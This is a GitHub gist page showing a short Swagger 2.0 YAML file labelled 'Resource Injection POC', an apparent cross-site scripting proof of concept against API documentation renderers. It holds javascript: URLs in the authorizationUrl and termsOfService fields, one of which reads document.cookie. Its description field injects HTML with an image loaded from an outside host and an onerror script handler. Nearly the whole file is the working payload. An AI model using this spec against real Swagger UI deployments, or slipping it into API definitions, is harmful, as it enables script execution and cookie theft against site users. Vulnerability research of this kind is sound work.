Skip to content

Instantly share code, notes, and snippets.

@sh4nx0r

sh4nx0r/iframe.yaml

Last active September 22, 2022 11:48
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save sh4nx0r/4ac3d9bdbe61ab783c65c1c8d5de46e0 to your computer and use it in GitHub Desktop.
Save sh4nx0r/4ac3d9bdbe61ab783c65c1c8d5de46e0 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
iframe.yaml
swagger: '2.0'
securityDefinitions:
a:
type: oauth2
authorizationUrl: javascript:alert(document.domain)//
info:
version: "0.0.1"
title: Resource Injection POC
description: <h1>Iframe Injection</h1><img src="https://encircled-flush.000webhostapp.com/xee3.svg" onerror=alert(1)>
termsOfService: "javascript:alert(document.cookie)"
paths:
/:
get:
responses:
200:
description: Successful response
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment